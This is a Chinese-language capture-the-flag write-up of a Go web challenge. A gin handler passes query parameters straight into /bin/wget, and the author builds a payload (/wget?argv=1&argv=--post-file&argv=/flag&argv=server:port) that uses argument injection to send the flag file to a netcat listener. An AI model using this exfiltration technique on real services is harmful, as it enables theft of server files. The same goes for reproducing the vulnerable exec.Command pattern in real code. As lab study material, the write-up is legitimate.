BUUFTC-日刷-[陇原战"疫"2021]CheckIN-go语言审计-wget
下载附件打开代码:
关键代码在这:
func getController(c *gin.Context) { cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...) err := cmd.Run() if err != nil { fmt.Println("error: ", err) } c.String(http.StatusOK, "Nothing") }
emd是执行wegt,同时接收argv数组作为参数(注意这里是从1开始接收的,不是从0开始的)
注意这里执行成功是没回显的,只会显示noting
这里查一下wget可执行参数列表
93 --post-data=STRING 使用 POST 方式;把 STRING 作为数据发送。 94 --post-file=FILE 使用 POST 方式;发送 FILE 内容。
那么这里传入 wget --post-file /flag 服务器地址 即可
那么是不是直接传入/wget?argv=--post-file /flag 服务器地址, 肯定不是
注意看
cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
后面是argv是数组每一项当作参数传入的,我们要是只传入一句话不行,因为那一句有多个参数,不能当作一个参数处理
那/wget?argv=--post-file&argv=/flag&argv=服务器地址 对不对?也不对,因为argv数组从1传入
因此payload为:
/wget?argv=1&argv=--post-file&argv=/flag&argv=服务器地址:端口
同时服务器用nc开一下端口,
比如80端口:nc -lvvp 80(80可能被占用)